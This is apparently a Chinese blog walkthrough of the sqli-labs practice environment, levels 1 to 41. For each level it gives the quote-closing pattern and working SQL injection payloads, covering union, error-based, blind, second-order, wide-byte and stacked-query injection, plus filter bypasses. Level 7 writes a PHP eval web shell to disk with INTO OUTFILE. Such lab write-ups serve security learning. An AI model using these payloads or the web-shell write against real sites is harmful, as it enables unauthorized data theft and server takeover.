Sqli-labs通关记录
10关一更
Less-1
单引号闭合注入,无过滤,直接常规注入
Less-2
无闭合符号,无过滤,直接注入
Less-3
闭合符号变成了')
,无过滤,直接注入
Less-4
闭合符号变成了")
,无过滤,直接注入
Less-5
条件为True时回显 You are in…
条件为Fasle时无回显
闭合符号为单引号
但在尝试闭合符号的过程中发现页面会报错误信息
可知该题既可以用布尔盲注,也可以用报错注入
这里附上自己写的第一个盲注脚本留作纪念(效率低,耗时长)
1 | #在知道库名security的情况下爆表名 |
1 | #在知道表名f14g和列名flag的情况下爆数据 |
Less-6
和Less-5比较,闭合符号变成了双引号,其余不变
可以用报错注入和布尔盲注
Less-7
题目提示用 into outfile
写入一句话木马,首先尝试了半天闭合符号才发现是'))
。
要写入一句话木马自然需要路径,这里的路径需要用到布尔盲注和@@datadir
或@@basedir
命令去拿到。
SELECT @@datadir
:查看数据的存放路径
SELECT @@basedir
:查看MySQL数据库路径
布尔盲注爆出路径
1 | and substr(@@datadir,0,1)='a' --+ |
写入一句话木马,这里注意路径处的转义字符\
要双写,否则会发生转义导致路径错误。
1 | and select 1,"<?php @eval($_POST['shell']);?>",3 into outfile '路径' |
最终语句:
1 | union select 1,2,"<?php @eval($_POST['shell']); ?>" into outfile 'D:\\phpstudy2018\\PHPTutorial\\MySQL\\shell.php'--+ |
Less-8
只有回显和不回显两种情况
闭合符号为单引号的布尔盲注
参考Less-5的脚本
Less-9
只有一种回显情况,而且不报错误信息
常规的时间盲注,无任何过滤,闭合符号为单引号
Less-10
常规无过滤的时间盲注,闭合符号为双引号
Less-11
给出了uname
和passwd
两个输入的参数
两个参数处都可以用单引号闭合并且进行常规注入
1 | uname=admin&passwd=123' union select 1,database()--+&submit=Submit |
Less-12
和Less-11相同,常规无过滤,闭合符号变成了")"
Less-13
常规无过滤,闭合符号为')
但无回显,因此可以结合报错注入
1 | uname=admin&passwd=123') union select 1 from(select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a--+&submit=Submit |
Less-14
与Less-13相比,闭合符号变成了"
,其余不变
Less-15
无任何过滤,单引号闭合,但只会回显两个图片,可以用布尔盲注
Less-16
和Less-15相同,闭合符号是双引号"
Less-17
闭合符号为单引号,可以用updatexml
报错注入
1 | uname=admin&passwd=123' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit |
Less-18
会回显ip和user,可以在http头中User-Agent
处进行报错注入,闭合符号为单引号
1 | User-Agent:abc'or updatexml(1,concat(0x7e,database(),0x7e),1) or'1 |
Less-19
类似Less-18,会回显ip和referer字段,可以在http头中Referer
字段处进行报错注入
Less-20
可以抓包在http头中Cookie
字段处进行常规注入,闭合符号为单引号
Less-21
同Less-20,在Cookie
处注入base64编码后的语句,闭合符号为')
Less-22
同Less-21,闭合符号变成了双引号"
Less-23
过滤了注释符号#
和--
,闭合符号为单引号
不能在语句最后使用注释符号,可以通过or '1'='1
进行闭合
此时不能使用order by
,因为order by一般在sql语句的尾部,如果在order by后面再使用单引号闭合,sql就会将order by语句忽略掉,因此只能一个一个测查询的字段数:
1 | union select '1 报错 |
1 | union select 1,'2 报错 |
1 | union select 1,2,'3 正常回显 |
故可以测得查询字段数为3
根据回显结果可以知道,2和3处会显示结果,且3处用于闭合单引号,因此只能在2处进行查询
1 | union select 1,database(),'3 |
进一步查询表名
1 | union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3 |
Less-24
最简单的二次注入,无过滤
这关提供了注册、登录、修改密码等功能,其中都用到了mysql_real_escape_string
函数,将用户输入的危险参数进行转义
登陆处两个参数都进行转义,错误则直接提示错误信息,不能直接注入
注册时,虽然也用了函数进行转义,但能直接用注入语句如admin' or 1#
作为name进行注册
在修改密码时,通过源码可以看到username参数是直接从数据库中取的(未经过滤),因此会取到之前注册的带有注入语句的用户名,从而实现利用admin' or 1#
用户将admin
用户的密码进行修改
贴一下修改密码处的关键源码:
1 | $username= $_SESSION["username"]; |
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; |
到目前,只做到了修改密码的操作,update
的sql语句存在报错注入和盲注,这里无报错信息,因此可以通过盲注得到更多数据。但这里由于盲注之前需要有个注册操作,比较麻烦,脚本以后遇到再补上。
Less-25
过滤了 or 和 and,闭合符号为单引号
源码用preg_replace()
函数将or和and替换为空一次
可以用双写绕过如oorr
和anandd
,也可以用&&
和||
替换。
Less-25a
与Less-25一样,无闭合符号
Less-26
这关同样用preg_replace()
函数,过滤了or、and、/*、–、#、空格、斜杠
or和and可以双写绕过和替换
注释符号可以参考Less-23在尾部加入闭合语句
空格一般情况下可用下列替换:
1 | /**/ |
查到这关可以用%a0
,但要在在linux环境下
在windows环境下用不了,查到说是因为window下apache解析的问题
1 | 0‘or%a01=1%a0or'0 |
可以用括号闭合语句来绕过空格过滤,如下:
1 | 0'or(1=1)or'0 |
但查询数据时用到的union select
语句中必须要空格,因此这里可以结合报错注入来查数据
1 | 0'||updatexml(1,concat(0x7e,database(),0x7e),1)||'0 |
查表名
1 | 0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)||'0 |
Less-26a
过滤与Less-26相同,闭合符号为')
Less-27
相比Less-26多了一些sql关键词的过滤,可以用大小写绕过,如sElEct
Less-27a
过滤与Less-27相同,闭合符号为"
Less-28
闭合符号为')
,过滤规则与前几关类似
过滤了union select
这一个组合
可以用union union select select
双写组合绕过,空格可以用%0a
替换
Less-28a
与Less-28相同
Less-29
知识点-http参数污染:jsp/tomcat使用getgetParameter("id")
获取到的是第一个值,php/apache使用$_GET["id"]
获取的是第二个值。因此需要注入两个参数,第二个参数可以实现sql注入。
这关需要安装jsp服务器,是双层服务器架构
输入id=1'
会跳转到 hack.jsp
构造双参数注入id=1&id=2
,只会返回参数2的内容
在参数2处构造注入语句即可
如:id=1 & id=0' union select 1,2,database() --+
Less-30
与Less-29相比,闭合符号变成了"
Less-31
与Less-29相比,闭合符号变成了("
Less-32
常规无过滤的宽字节注入
对输入的id值用了addslashes()
函数,对一些特殊字符通过在其前面加转义符号\
来使特殊字符失效。
当源码使用gbk编码时,可以在注入语句的前面加个%df
,在gbk编码中两个字节代表一个汉字,使得%df/
被编码成汉字,而后面的特殊字符可以逃逸出来,完成注入。
1 | id=0%df' union select 1,2,database() --+ |
拓展:addslashes()
函数转义的字符是单引号、双引号、反斜线与NULL字符。
Less-33
与Less-32相同解法
Less-34
与Less-32相比,用post方式注入即可
Less-35
与Less-32同样使用了addslashes()
函数进行转义,但是查询语句闭合方式为数字型,无需闭合,可直接注入
1 | id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_shcmea=database() --+ |
Less-36
与Less-32相同解法,不同的是这关用了mysql_real_escape_string()
函数进行转义,其转义功能与addslashes()
函数大致相同
Less-37
还是宽字节注入
post传登录参数,在admin处可以注入查询
1 | uname=admin%df' or 1=2 union select 1,database()# &passwd=123&submit=Submit |
Less-38
堆叠注入:用符号;
将多条sql语句分隔后一起注入,达到执行多条sql语句的效果。进而可以构造各种增删改查的sql语句进行堆叠注入。
mysqli_multi_query()函数:执行多个针对数据库的查询
Less-39
与Less-38相比,闭合方式为数字型,不需要闭合
Less-40
与Less-38相比,本关不回显错误信息
可以用盲注的方式爆数据,闭合符号为')
Less-41
同样与Less-38类似,不回显错误信息
闭合方式为数字型,可直接盲注爆数据
——2021.3.22
- 本文作者: Squidward
- 本文链接: http://www.squidward.xyz/2020/11/26/sqli-labs通关记录/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!